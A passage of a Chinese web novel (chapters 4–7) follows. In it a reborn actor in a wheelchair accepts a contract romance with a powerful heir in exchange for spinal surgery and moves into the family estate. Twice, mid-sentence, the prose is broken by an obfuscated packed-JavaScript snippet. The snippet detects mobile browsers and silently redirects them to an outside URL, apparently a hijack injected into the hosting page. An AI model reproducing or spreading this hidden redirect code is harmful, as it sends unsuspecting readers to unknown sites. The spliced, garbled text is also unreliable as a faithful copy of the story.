景瞬指尖微微捏紧,又松开,再出口的话里真心掺杂着试探,“今晚多谢了迟先生的帮忙,要是不介意的话,我请您上去坐坐、喝一杯茶?” 随着这道邀请抛出的,是景瞬渴望的一线生机。当然,他已经做好了迟归会拒绝的准备。 毕竟两人的身份实在相差太悬殊了,老破小的居民房恐怕更入不了对方的眼。 路灯昏黄,寒夜又飘起了小雪。 有晶莹剔透的雪花点在了景瞬的鼻尖,消融,荡出一片绯红。 迟归的回答来得比景瞬想象中更快一些,“也好,是有点渴了。” 4. 【第004章】 景瞬住在第三单元,和小区正门离得不远。 他领着迟归往家的方向走,离得近了,才瞧见小区保安拿着手电筒在楼外晃悠。 电灯往两人的脸上一照,又移开。 保安走近,先看了看迟归这张生面孔,然后对着景瞬打招呼,“小景先生,你回来啦?” 景瞬看向漆黑的三单元居民楼,“嗯,这是又停电了?” 老小区的电路设备没能跟上,每年一到夏冬两季,空调用电量大了,这幢楼就会时不时断电。 保安解释,“哦,刚接到302在小区群里的消息,应该是又跳闸了,小景先生,麻烦你稍微等等,我现在就去总电箱那边看看情况。” 他看向景瞬身下的轮椅,特别负责任地加快了去维修的脚步。 单栋居民楼一共六层,原先是只有楼梯上下,早两年,每幢的业主们自行投票决定,按需安装上了外置升降电梯。 景瞬当初顺手投了赞成票、乖乖交了钱,没想到这外置电梯真成了他现在的刚需。 一直没出声的迟归看着离开的保安,“你住几楼?” “六楼。” 景瞬如实回答,心里有些无奈。 他原本想着邀请迟归上去坐坐、再看情况顺势提及自己的请求,没想到到了家楼下,却被“停电”绊住了脚步。 这连人带着轮椅的,肯定不会让迟归送他上去,太逾越了。但让对方陪着他在寒风里面等来电?又不合适。 景瞬迟疑,“迟先生,要不……” 迟归对上他眸底的犹豫,“等等吧,只是电箱跳闸的话,很快就能恢复供电。” 景瞬有些意外,点了点头。 雪落得更大,也更密了。 有雪花狡猾地钻进了景瞬的后衣领,寒风吹着,冻得他不受控地一哆嗦。 “很冷?”迟归捕捉到他的身体反应,判定,“你穿太少了。” 景瞬拢了拢膝盖上单薄的毛毯,唇色很淡,“还好。” 下一秒,迟归默默脱下了自己的外套,很有分寸地递到了景瞬的眼前,意思显而易见。 “……” 景瞬怔住了。 今晚的迟归有种超越想象的平易近人,和往日迟盛口中的形象大相径庭,让他不禁怀疑,重生变了性情的人到底是自己还是对方? 迟归见他没有动作,开了口,“先披上吧,感冒了麻烦。” 冷风吹得头疼越来越明显,景瞬不做无畏的挣扎,“谢谢。” 他接过带着温度的大衣,轻轻覆盖在了身前,那股浅淡的茶香这会儿闻得更清楚了,隐隐缓解了堵塞钝痛的太阳穴。 砰! 随着声响,电梯显示屏上恢复了亮度。 景瞬霎时松了一口气,邀请,“迟先生,我们上去吧。” “嗯。” … 白炽灯照亮了面积不算大的套房。 记忆中的小窝再次出现在眼前,景瞬有了一瞬感慨,很快被他压下了去,“迟先生,不用脱鞋,你请随意,我去厨房烧点水泡茶。” 说着,他就将身前的大衣妥善搁置在沙发上,操控着轮椅进了厨房。 直到这时,迟归才有心思打量起来—— 客厅的面积装修挺陈调的,家具都是十几年前的老式风格,没什么特别之处,但整体很干净,所有物品都摆放得很整齐。 迟归注意到了角落的展示柜上,走近,共四层高度的柜子里摆满了物品,从下往上看—— 第一层是五花八门的剧组拍摄小道具,第二层是码放整齐的影视剧本,第三层是和各位演员老师的合照,照片上的小孩是各个年龄层的景瞬。 身后传来景瞬的声音,“我很小就开始进组拍戏了,这柜子里是从小到大留下来的纪念。” “……” 迟归转身,像是随口问,“你一个人住?家人呢?” 景瞬想起什么,眸光微晃,“嗯,现在一个人住,我爸以前是剧组摄像,我妈还是一名演员,演过不少电视剧的配角,他们是在剧组里认识的。” 于是,景瞬一出生就背负着父母的期颐,从小就被他们带着往各大剧组跑,四岁开始就接演了不少影视作品。 自打有记忆以来,表演就已经成为了景瞬生活中的一部分、成为了他的热爱。 不过,景瞬的影视合约包括片酬一直由父母监管,而“家庭作坊”在娱乐圈里向来很难站住脚。 后来因为年龄和学业的双重限制,景瞬能接到了影视邀约逐渐变少,父母间由此展开的争执逐渐变多。 直到十八岁生日前夕,景瞬才得知了真相—— 父母在五年前就已经协议离婚了,只是一直瞒着他实情,哄着他去接更多的拍摄工作。 景瞬从小到大赚到的片酬,不但养活了日渐贪心的父母,甚至还成了他们各自新家庭的收入来源之一。 “……” 景瞬不愿意多提及这些痛苦往事,只挑简单地说,“我爸妈离婚已经好些年了,我成年后不常和他们联系,大学毕业前除了学习,偶尔会跑剧组试镜。” 不过,娱乐圈是个更新迭代很快的地方,景瞬成年后的影视资源一直跟不上,但他不愿意就这么放弃—— 大学毕业前,他孤注一掷筹备并且出演了一部文艺电影。 电影上映后,在国内的票房水花很惨淡,却意外斩获了国际电影节的奖项。 消息传回国内后,景瞬这才在圈内重获了些许热度,还收到了一部电影男主的邀约,他满心欢喜地接下,以为自己的事业会慢慢上升。 结果事与愿违,这部电影在拍摄尾声出了意外。 景瞬陷在回忆里,沉默的时间太久了。 迟归出声,“在想什么?” 景瞬回过神,冲他抱歉一笑,“迟先生应该不怎么关注娱乐圈吧?在今天之前,应该也不太认识我?” 迟归说,“倒也不是。” 景瞬疑问,“什么?” 迟归侧身看向展示柜最上方一层,“你主演的电影《写给安禾》,我之前……意外看过,这个奖实至名归。” 柜子最顶层放置的,是景瞬迄今为止斩获的唯二奖牌—— 威灵国际电影节,最佳电影新人奖,《写给安禾》最佳剧情片。 “……” 景瞬不可置信,“你看过?” 文艺片《写给安禾》是他参与编写的剧本,当初好不容易才拉到幕后投资、筹备拍摄完成的,但国内很少有人看过这部电影。 “影片立意不错,你饰演的男主陈加也很出彩。”迟归投向他的视线很稳,看不出任何撒谎的痕迹,“我印象深刻。” 简单一句话,让景瞬今晚所有的疑惑都得到了解释—— 迟归之所以会在宴会厅上出手帮忙,还愿意送他回家,是因为看过他的电影、还留有印象? 虽然听上去有些意外,但很合理。 厨房里传来电水壶烧开的声音。 景瞬脸上溢出一丝连自己都没察觉的好心情,“迟先生,茉莉花茶可以吗?我家只有这个,之前按照我自己的口味买的。” 很便宜的茶包,对方应该不会喝,但他的待客之道要到位。 迟归颔首,“随意。” 不到一分钟,景瞬就从厨房回了客厅,将一杯热气腾腾的茉莉花茶搁在了小茶几上,“还有点烫,得等一会儿。” 装在纱包里的茉莉花渐渐展开,随着热气在杯中蕴出茶色。 迟归不急着喝茶,看向他,“既然特意请我上来,有事 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景瞬将自己为数不多的筹码摆上,将决定权递到了迟归的手中,“迟先生,可以吗?” 迟归没像前两次那么畅快接话,又沉又静的瞳孔带着景瞬看不懂的复杂。 “……” 看来是没戏了? 景瞬提到嗓子眼的心渐渐坠了下来。 也是。 迟归掌管着整个迟氏集团和家族,日常动动手就是上千万的项目、拿捏着一群人的生活和命运,在他看来事关重大的请求,在对方眼里估计是不值得浪费时间的小事。 忽然间,迟归答非所问地开了口,“景先生,我今晚在宴厅门口的回答,同样不是在开玩笑。” “……” 什么? 景瞬睫毛颤了颤,生怕自己理解有误。 迟归看出他脸上的疑问,明牌,“我对外需要一位名义上的恋人,替我挡住那些不必要的烂桃花,偶尔需要出面帮我‘杀杀’那些痴心妄想的人。” “景先生,你有你的需求,我有我的考量。” “你是个聪明人,又是个演员,很符合我预设的人选条件,要是你愿意待在我的身边,必要时配合我演演戏,那么后续的治疗和费用都不需要操心。” 只是演戏? 听上去似乎是个只赚不赔的合作? 对于现阶段的景瞬来说,这样的附加条件没有拒绝的必要。 迟归单刀直入,“能接受吗?” 景瞬答应下来,“可以。” 话音刚落,迟归的手机响起了振动提示。 他看了一眼来电,干脆挂断,“既然如此,我会让人尽快给你安排身体检查,过几天再联系你,时间不早了,我该走了。” 一锤敲定了这突如其来的协议合作,完全不给人喘息反悔的时间。 景瞬点头,想起放在沙发上的大衣,“那外套,我先送去干洗店,下次带给你?” “不用。” 迟归主动弯腰将衣服拿了起来,路过茶几时,他看着热气逐渐散去的茉莉花茶,步伐一顿。 景瞬有所察觉,藏着一丝不好意思,“……不用勉强的,确实不是什么好茶。” 迟归端起那杯温热的花茶,反问他,“谁说我要勉强了?” “嗯?” 景瞬坐在轮椅上,从他这个角度往上看—— 迟归冷峻的神色里忽地闪过一丝朦朦胧胧的笑意,短促地像是灯光下的错觉,偏偏又清晰地投入他的眸潭,涟漪浅泛。 景瞬的反应慢了半拍,说不上话。 迟归收回视线,慢条斯理将那杯茉莉花茶饮尽,“挺好喝的,谢谢款待。” 5. 【第005章】 迟归刚出了电梯,一道等候的身影就迎了上来,“先生。” 来人是他的生活助理,陈易铭,刚才在楼上接到的那通电话就是对方打来的。 陈易铭撑着一把黑伞挡雪,将伞往迟归身上倾斜,“私人机场那边一直没等到你出现,我打电话问了老张,才知道你在这里。” 因为离得不远,他第一时间赶了过来。 迟归这才想起原先定在明早的珠市会议,“通知韦迪,明天的项目会议他替我出席,我远程线上出席。” 韦迪是他的行政助理之一。 陈易铭应下,“好的。” 迟归没急着走,微微仰头看着还亮着灯的六楼,“找两个人过来暗中守着,别打扰,有事第一时间告诉我。” 陈易铭顺势瞥了一眼六楼的方向,眼明心亮,“明白。” 他看着迟归搭在手臂上的大衣,“先生,要不穿上外套?” “不用,挺热的。” “那我替你拿着?” “没事。” 迟归不自觉地将大衣收紧了些,指腹摩挲了一下衣料,“易铭,你明早飞一趟港市,抓紧时间请……” 他一边交代着身旁的助理,一边往小区外走。 陈易铭跟着他上了车,“好的,先生,我记下了。” 司机老张看了一眼后座,确认迟归没有其他吩咐后,才发动车子离开小区。 黑色的劳斯莱斯幻影绕出狭小的社区道,上了公路开始疾驰。 迟归揉了揉有些发胀的太阳穴,像是随口提问,“今晚迟盛举办的宴会有没有宾客名单?” “有的,酒店经理刚发给我了。” 陈易铭跟在迟归身边已经满四年了,还算能揣摩自家老板的想法。 他从司机老张口中得知迟归今晚临时变动的行程后,第一时间就预想到了这点。 很快地,附有全部宾客名单的电子表格交到了迟归的手中,平板散发出的光亮衬得他的眉眼幽深而锐利。 霎时,如鹰眼般找准了对象,“方家?” 陈易铭掂量着自己老板的语气,做出猜测,“我记得,方家的公子哥方昱和迟盛少爷的关系不错,上回听韦迪提起过,方家搭着大房的梯子,往吉盛的项目里掺了一杯羹。” 迟归眉峰一挑,缄默不言的审视更显压迫感。 陈易铭试探性地接话,“方家那种级别的企业,不是吉盛项目的最优选。” 迟归关闭平板,波澜不惊,“那就换掉。” 四个字的背后,斩断得是方家每年上千万的利益链。 “……” 看来今晚的方家公子哥,真是撞枪口上了? 陈易铭回过味,认准命令,“好的,我稍后就联系韦迪。” …… 窗沿上已经开始有了积雪,但房间里开着空调,很暖和。 洗漱完的景瞬从抽屉里找出药袋,按照医嘱分批次拿出了一大堆药粒,就着凉水吞了进去。 苦涩的药味弥漫在喉间,景瞬却连眉头都没皱一下,他从前是很讨厌吃药,可上辈子近五年的日复一日,成了习以为常。 毕竟药再苦,也不如复健无望的心苦。 景瞬筋疲力尽地躺倒在了床上,这一晚上,实在发生了太多事情—— 他不仅认清了迟盛的真面目,斩断了和对方之间的“孽缘”,而且还意料之外地和迟归搭上了关系,达成了合作? “……” 迟归。 景瞬默念着这个名字,思绪偏移。 在今晚之前,他和对方还有过一次见面—— 当初,迟老先生给流落在外多年的亲孙子迟归举办了一场声势浩大的宴会,那天受邀参加的宾客有上百号人,皆是海市乃至全国的名流和豪门。 原本的景瞬是没资格入场的,但架不住迟盛给他塞了一张邀请函,请他来看热闹。 那会儿的景瞬意外得知父母早已离婚的事实,大受打击,他本想借着这场大宴会散散心,结果去了才发现自己根本融入不了这种觥筹交错的名利场! 于是,落单的景瞬向侍者要了一瓶洋酒,独自溜到了无人在意的室外角落,却碰巧遇上了同样出来透气的迟归。 景瞬成年后第一次喝酒,没有分寸,加上心中苦闷难消,他实在没忍住和迟归提了两句: 什么父母瞒着他早就离婚了,什么自己从今往后要一个人生活了,什么十八岁生日却没人真心陪着他一起过。 景瞬原以为迟归会不耐烦听一个陌生宾客的诉苦,但没想到,对方居然替他拿来了一块小蛋糕,还送上了一句: “生日快乐。” 最简单不过的祝福,却让景瞬记忆犹新,直到现在。 “……” 景瞬从回忆里挣脱,将被子往上拢了拢。 他今晚提到“父母”和“独居”的话题,除了是在回答迟归的提问,更是想要探一探对方的反应。 可惜,迟归听到后的神色很淡,应该是不记得那次见面了。 景瞬没有继续深想,身心都已经超了负荷,他没多久就睡了过去。 梦中的一切都是碎片式的。 景瞬梦到自己小时候在剧组拍戏,梦到威亚猝不及防的高坠意外,梦到自己瘫痪后无数次的跌倒,也梦到自己熬夜写本、剪辑赚钱。 更意外的是,他梦到自己临死前拨通的那个视频电话,屏幕那头的面容模糊,却急切地喊了他一遍又一遍—— “景瞬?” “景瞬!” 直到最后,他看见迟归站定在他的面前,“景先生。” “——啊!” 景瞬猛地从床上惊醒,无声缓了好几秒才喘出一口气,热汗浸湿了额头,身体更是泛着一种高烧后才有的酸痛感。 景瞬的手撑着床板,费力爬坐起来,直到将床头柜上剩下的半杯水喝完,梦里残存的那种心悸才有所缓解。 一看手机,已经下午三点了。 景瞬有些意外,虽然是发烧的缘故,但他已经很久没睡过这么长时间的一觉了。 如今还没被并发症折磨的身体,就连骨子里都泛着一种轻快。 真好。 景瞬原以为迟归口头上的承诺再怎么也要一两周才能兑现,却没想到第三天中午,对方的助理就已经找上了门。 “景先生你好,初次见面,我是迟先生的助理,陈易铭。” 陈易铭递上自己的名片,落在景瞬身上的目光很有礼貌,“因为没有您的联系方式,所以只好先上门了,还请不要见怪。” 景瞬接过名片,将轮椅微微后撤,“陈助,请进,是迟先生让你来的?” 陈易铭点头,说明来意,“景先生,宋春晖教授的医疗团队已经抵达海市了,如果你下午方便的话,我带你去他们那边做个检查?” 景瞬一惊,“宋老教授?” 宋春晖是华国骨科及脊椎外科的当代泰斗,行业内无人不知、无人不晓。 他所带领的医疗团队只攻略“疑难杂症”,持刀操作过的手术无一不是高难度的,成功帮助过很多瘫痪、半瘫痪的患者获得新生。 只是宋老教授已经到了退休的年纪,这几年更偏向于医学研究,很多患者想要找他看诊,基本都是求助无门。 曾经的景瞬对迟盛所求不多,但这算得上一件,不过对方口头答应找人脉帮忙,最后却没了下文。 陈易铭复述了一遍,“是的,宋春晖老教授。” 他想起了自家老板的交代,给足了时间,“如果景先生今天不方便,改约明后天也行。” “不用,我方便的!” 景瞬眉眼间的阴郁被突如其来的惊喜冲淡不少,“现在、现在就可以去。” 机不可失。 作为病患,可没有让名医等他的道理。 黑色的保姆车已经小区门口等着了。 景瞬本以为自己还得麻烦别人帮忙上车,可没想到,这辆车后排居然有改良过的升降梯,而且车内还拆出了一个空位。 他只需要稍稍借力,连人带椅就能上车。 应该是迟归知道他行动不便,特意安排的。 陈易铭跟着上车,替他固定了轮椅卡扣和安全措施,“景先生,没问题的话,我就让司机出发了?” 景瞬压下心里的那点感动,点了点头。 … 半小时后,车子停在一幢独栋建筑的门口。 景瞬跟着陈易铭进去,才发现内部空间很大,空气里,还弥漫着一种刚装修过的气味。 一楼被整齐划分出了六个房间,像是个小型的私人医院。 所有的医疗器械按规摆放,设备看上去很新,有些甚至连封层外膜都还没撕开。 吱啦。 最里侧的房间门打开。 穿着白大褂的宋老教授走了出来,他低头看着轮椅上的景瞬,笑眯眯地,一点儿也不严肃,“这位就是患者了吧?” 景瞬紧张地挺直了后背,“宋教授,您好。” “迟董已经托人将你的情况转告给我了,别担心,先让我的助手带你去做个检查、拍点片子,我们等各项具体数值出来再说。” 景瞬应下,“好。” 这里的检测仪器都是最先进的一批,很多公立医院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050917|162817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不见得有这么先进齐全,景瞬不懂,但配合着医护人员做完了全部的检查。 等再靠近会诊室,屋内传出了交谈声。 景瞬透过半开的屋门,意外看见了迟归的身影—— 对方今天换了一件深棕色的大衣,鼻梁上还架了一副暗金色框架的眼镜,像是精心搭配过的色调,整个人显得沉稳内敛的同时,又缓冲了冷硬的气场。 下一秒,迟归就看了过来,如鹰准确无误地捕获猎物。 “……” 景瞬莫名升出一种被“抓包”的尴尬,但没等他想好开场白,边上的护士就已经抢先一步替他开了门。 “宋教授,患者已经检查完了,所有数据都同步传到了你的电脑上。” “嗯,进来再说。” 景瞬被护士推了进去,只好和迟归礼貌示意,“迟先生。” 迟归微微颔首,算是应答。 景瞬不着痕迹地吸了口气,将注意力落到了宋老教授的脸上,“宋教授,我……我的腿还有治愈的可能吗?” 眼下这是他最关心、也最紧张的问题。 宋老教授看了一眼坐在桌对面的迟归,又看向他,“你这属于高坠导致的腰椎神经损伤,但目前片子和各项显示出来的数值,情况比我想象中要好很多。” 景瞬眼底泛起一丝期翼,“我的情况没、没那么差吗?” 宋老教授如实告知,“通过手术介入减压、修复部分受损神经,重新建立脊柱稳定性,治愈的可能性少说80%。”(*) “……” 景瞬听见这个概率,不可置信地脱口而出,“百分之八十?” 宋老教授听见他的语气,笑问,“怎么?你不相信我的判断?” “不,不是。” 景瞬只觉得内心快要泯灭的火苗嗖得一下蹿了起来,虽然激动,但也有些迷茫。 “我之前做过检查,还询问过其他医生专家,他们都说我的损伤情况很不好,哪怕手术介入,撑死只有百分之二十的可能性。” 而且手术无法排除二次受损的可能性,干预的结果有可能会更差。 “百分之二十?哪个不学无术的后生唬你的?” 宋老教授蹙了蹙眉,很讶异有这种说法。 “最怕就是你们这些患者病急乱投医,你这情况只要及时干预,哪有那么糟糕?除非是恶意拖着不治。” 说者无意,听者有心。 景瞬呼吸微窒,突然想起了什么—— 当初,是迟盛主动出面替他查询、费劲千辛万苦才预约到的国外专家号。 难不成,有些事情一开始就有猫腻?是迟盛联合所谓的“专家名医”欺骗他、硬生生地耽误了他的治疗? 一想到还存在这种可能性,景瞬浑身就止不住的恶寒,那种反胃的恶心感卷土重来。 宋老教授继续表态,“既然迟先生邀请我出面,那我和我的团队就会竭尽所能地帮你治疗,不过,有些话得提前告诉你——” “手术治疗和后续复健的过程注定漫长而磨人,还会很痛苦,不是一时半会儿就能起效的,很多患者在心理上也需要接受极大的考验。” 身心一体。 如果心态崩了,身体恢复自然就不会顺畅。 景瞬回过神,坚定表态,“宋教授,我明白,只要有治好的一丁点儿可能,过程再苦再累,我都能坚持!” “那就好。” 具体的手术方案还需要再议。 景瞬和宋老教授简单确认了几句,终于将悬着的心放回了肚子里。 出了独栋别墅,空气里的冷意又扑了过来。 景瞬深呼吸了一口气,延迟对边上的人表示感谢,“迟先生,谢谢,我没想到你能这么快请到宋老教授。” 迟归用眼神示意陈易铭去联系司机,这才对着景瞬说,“迟氏给他的医疗科研项目拨了款,前提是他出面替你医治。” 景瞬明白这句简单的含金量,有些接不上话。 以他现在的经济能力,确实没办法偿还这份重于泰山的人情。 迟归见他沉默,主动掌控话语权,“景先生,我答应你的事情算是做到了一半,你答应我的事情,是不是也该开个头了?” 景瞬疑问,“怎么……开个头?” 迟归推了一下装饰用的眼镜,“你大前天在宴会上那么一闹,免不了有人想着打探后续,既然你答应了要演戏,那就得演得真一些。” 景瞬睫毛微闪,默许他继续往下说。 迟归一瞬不瞬地望着他,不是商量,而是要求: “从今天起,搬来跟我一起住。” 6. 【第006章】 迟氏在海市颇负盛名,居住的私人宅院同样是数一数二的豪华—— 已经有一百五十多年历史的老宅历经了三次的翻修、扩建,价值过亿。 不仅保留了最初的灰瓦红墙、绿树庭院,而且后方还融合了欧式复古建筑、花园洋房,占地面积惊人。 助理陈易铭推着景瞬走了一路,主动充当起介绍员,“景先生,这一片的四合宅院是老爷子前居住的,自从他老人家去世后就空置了。” 按理来说,主宅是豪门家族的身份象征,谁成了家主,谁就该搬进去住。 空置着? 那迟归现在住在哪里? 景瞬脸上闪过疑问,也问出了口。 “景先生,我带你过去。” 陈易铭带着他绕过老宅,后方还有七八栋独立式的花园洋房,因为占地面积够大,彼此都隔了不少距离。 他指着说,“北边最后面那幢独立的花园洋房,先生住那里。” 景瞬看了过去,诧异未减。 最末的那幢花园洋房,虽然在外观上和其他洋房没什么差异,但看得出来占地面积是这七八幢别墅里面最小的。 以迟归现在的身份和地位,实在犯不着这么“拘”着自己? 陈易铭察觉出景瞬的困惑,很有分寸地试探,“景先生之前应该听说过,关于先生的身世传闻?” 迟归是在二十出头的年纪才被迟老爷子认领回来的,听说是大房遗留在外的私生子? 当然,这些传闻真真假假,只有当事人才知道。 “听说过一点,但不了解。”景瞬不爱做无意义的猜测,开门见山,“陈助,你能简单和我说说迟氏现在的人际关系吗?” 陈易铭想起迟归的交代,点头,“已经去世的迟老爷子是迟氏本家家主,膝下有一儿两女。” 迟老爷子的长子迟仁聘,就是迟归的亲生父亲。 作为老爷子膝下唯一的儿子,迟仁聘从小就是公开认定的迟氏集团继承人,他年纪轻轻就和第一任妻子家族联姻,生下了大女儿迟婷。 景瞬听见这个相对耳熟的名字,眉梢微挑。 迟婷,是迟盛的母亲,也是迟归同父异母的亲姐姐。 当年,迟仁聘的第一任妻子在生下女儿迟婷后伤了身子,再难怀孕,迟仁聘口头说着不介意,但这段婚姻持续了十六年后还是破裂了。 那时的迟仁聘才刚过四十,加上“迟氏集团继承人”这么一个响当当的头衔,上赶着攀附的豪门自然不计其数。 和第一任妻子离婚不到三年,迟仁聘就公开娶了第二任妻子,还在同年生下了一个儿子。 景瞬听到这儿,又问,“是迟归?” 陈易铭摇了摇头,“不是,非要算的话,是迟归先生的弟弟,叫迟源。” “……” 景瞬沉默着,继续听陈易铭说。 按理来说,迟源会是下一任集团继承人,可惜这人打小就是个混不吝,整天好的不学、一副纨绔做派。 二十一岁那年,对方在海外非法飙车出了事故,真就把自己“玩”死了。 这消息传回国内,迟仁聘夫妇如遭电击!痛不可遏! 眼瞅着长子迟仁聘不成器,长孙迟源又死于非命,已经高龄的迟老爷子差点一口气没喘上来—— 要知道,旁系那群人明面上表示哀悼,背地里却各个虎视眈眈,谁都巴不得本家尽快倒台,好一起瓜分集团这块大肉。 就是在这个时候,迟仁聘才硬着头皮透露了一桩往事—— 他在和第二任妻子结婚前,曾在工作交际中邂逅过一位女孩子,还和对方短暂发展过一段恋爱关系。 迟仁聘明确知道两人不可能走入婚姻,一开始就只想着玩玩儿。 不到一年,女方意外怀孕,而他却借机提出了分手。 女方看透迟仁聘的凉薄做派,硬着骨气说要生下这个孩子自己抚养,连所谓的“分手费”都没有拿,提着行李一走了之。 迟仁聘自觉摆脱了麻烦,于是将这件事丢之脑后。 景瞬心中了然,“那女士,是迟归的妈妈?” 陈易铭点头,也不添油加醋。 听说,迟老爷子花了好大的功夫才找到了迟归、确认了他的身份,然后动用了一些手段把他带回了迟氏。 迟归刚被认回家那会儿,除了迟老爷子,迟家其他人都看不上他。 众人七嘴八舌地说着风凉话,迟仁聘的第二任妻子心里窝火,故意将迟归安排到了最后排、也最偏僻的一幢洋房。 “大概是住久了就习惯了,所以先生在夺权成为家主后,一直没提过要换居所。” 景瞬又问,“那家里其他人呢?” 陈易铭说,“自从先生主事后,其他旁支不敢在他眼皮子底下晃悠,全部已经识趣搬离了,现在家里人口不多。” 迟仁聘前两年已经从集团职位退下了,这会儿和妻子单独住在了西边洋房,夫妻两人还有一个女儿,一直在国外生活。 迟婷和她入赘的丈夫也单独住了一幢洋房,至于他们的儿子迟盛,在外面买了房子,十天半个月才回来和父母聚一次。 一番交代后,陈易铭和景瞬也走近了最末的那幢洋房,管家和佣人提前一步得知了消息,全都跑出来迎接。 “景先生好,初次见面,我是这里的管家,你喊我林叔就行。” 管家林叔迅速瞥了一眼景瞬的双腿,神色自然,“平常由我和这四位佣人负责家中的饮食起居,你往后有任何需要,可以直接和我们说。” 景瞬微微点头,“我的房间,还有我的东西……” 见完宋老教授后,他犹豫再三还是应下了迟归的同住提议,结果对方却说“择日不如撞日”,直接让助理带他来到了迟宅。 这不,景瞬甚至没来得及回家一趟。 林叔一脸和气地抢答,“景先生,你的房间在二楼南侧,基本物品都已经备齐了,有电梯可以直接上去。” “至于你原先家里的东西,明早会有人去统一整理、搬来安置。” “……” 周到得无可挑剔。 景瞬在陈易铭的陪同下进了二楼南卧。 套间面积不小,内浴、衣帽间、书房一应俱全,墙上的合适高度全安装了辅具工具,方便景瞬的日常行动。 有钱人的办事效率,远比想象得还要高。 不仅如此,房间开窗就是后院花园以及远处的人工湖泊,视野很好。 比起景瞬现住的那间老破小,简直一个天上一个地下。 没人不想奔着好日子去过,景瞬也一样,哪怕这样的好日子伴随着一场交易,并不稳定,也有随时结束的可能。 他确认了自己接下来要居住的地方,看向陈易铭,“……迟先生的卧室在哪里?” 这个套间看上去是全新的,平常应该没人居住。 “三楼,整层都是。” 陈易铭指了指天花板,“你卧室的正上方,就对应着先生的卧室。” 景瞬往上瞥了一眼,又垂下,“好的,知道了。” 陈易铭提及正事,“对了,景先生,我这边有一份协议文件,需要你过目并且签署一下。” 说完,他就从随身提包里拿出了一份早已经打印好的协议文件,递了过去。 景瞬意有所动,打开查看。 果不其然,那晚他和迟归的口头协议已经转成了更详细的文字,条条罗列在白纸黑字的文件上。 协议的条件不苛刻,简单概括一下—— 即日起,甲方迟归负责乙方景瞬的生活开支以及全部的医疗费用。 乙方景瞬负责在必要时刻扮演好甲方“恋人”身份、任何外出事项必须向甲方迟归报备、获得允许才能行动。 合约有效期一年半,截止明年八月底。 因为医疗费用暂时没办法确定数额,所以在该协议到期后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050918|162817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,乙方景瞬需要就实际情况,以总额的30%—50%的比例归还甲方医疗款,还款日期不限。 “景先生,有问题吗?” “没有。” 这份协议对他的约束力很低,但实际受益却不小,毕竟以他现在的身体情况,本来就不可能出远门。 哪怕最后写明了按需还款医疗费用,那也是景瞬自己提出来的,而且标明的归还比例已经大大减轻了他的负担。 景瞬靠近书桌,拿起一支黑笔,填完了必要的身份信息,签下了自己的署名,“替我谢谢迟先生。” 陈易铭笑笑,只提醒,“景先生,日期也填了吧。” 景瞬怔了怔,“日期?” 他拿起手机查看具体日期,看见那串数字后微微讶异,却也飞速将它填上了协议。 一切尘埃落定。 陈易铭收起协议文件,“景先生,那我先不打扰你休息了,等晚餐时间再来喊你。” “好。” 房门关上,景瞬这才彻底卸下一口气。 他调转轮椅靠近窗边,望着将暗未暗的天幕,灰蒙已久的心却隐隐透出光亮。 原本最坏的结果是治不好这双腿,可今天见过宋老教授后,景瞬已经枯死的期盼终于复燃了。 说起来,这一切好的开始还得感谢—— “迟归。” 景瞬独自坐在轮椅上,低声念着这个名字,眸底晃过一丝微光。 时间还早,景瞬也不累。 他没上/床休息,而是在脑内复盘了一遍上辈子致残后的遭遇,还将个别重要的时间节点和对应事件记在了手机备忘录里,以便将来的不时之需。 直到外面的楼道响起轻微的脚步声,来来回回,像是走了好几遭。 景瞬从记忆里挣脱,才发现窗外的天色已经完全暗了下来,他控着轮椅靠近紧闭的房门—— 开门的那一瞬刹那,正对迟归要上楼的身影。 “……” “……” 两人四目相对,迟归顿住步伐。 这次,景瞬先开了口,“迟先生,你忙完了?” 迟归的日常事务好像很繁忙,下午和他见了一面后又匆匆离开了。 “嗯。” 迟归应了声,表情仍是淡淡的,“房间满意吗?” 景瞬还没找到和他相处的正确方式,只好保持最生疏的分寸感,“挺好的,平常轮椅滑动多少有点声音,但我会尽量保持安静,不打扰到你在楼上休息。” 迟归盯着他,却说,“吵不到我,你随意就好,有任何需要都可以和陈易铭直接讲,也……可以直接和我说。” 景瞬慢了半拍,这回是真的笑了,“好的。” 周身积攒的阴郁被笑容一瞬间冲淡,连带着那双桃花眼都亮了些。 迟归晃了晃神,“笑什么?” 景瞬收起嘴角的弧度,实话实说,“就是觉得迟先生,比我想象中的好接触多了。” “……” 迟归沉默了几秒,极低地“嗯”了一声,算是打过招呼,这才上了楼。 三楼是属于迟归的生活区和工作区。 陈易铭早就站在书房门口等待,“先生。” 迟归走进书房,张口就问,“协议签好了?” 陈易铭将桌上的文件夹递近,报告情况,“嗯,景先生没有任何异议,签得很利落。” 迟归只瞥了一眼文件夹,没拿,“知道了,你先下去吧。” “好的。” 书房门关上,迟归第一时间翻开了文件夹,他懒得去看协议条约内容,径直翻到了最后一页。 签署日期是2.14。 乙方那一栏上,写着“景瞬”两字,是很秀气的字体。 迟归眉眼里的冷锐渐淡,指腹状似不经意地拂过纸上的名字。 再然后,他拿起黑笔,在上一栏里稳稳当当签下了自己另一个名字。 7. 【第007章】 在新家的第一个晚上,景瞬睡得不算踏实。 梦境被一层浓浓的黑雾包裹,他毫无征兆地从高空的威亚摔下,腰椎连着双腿泛着剧烈的疼痛,疼得让他全身冒冷汗。 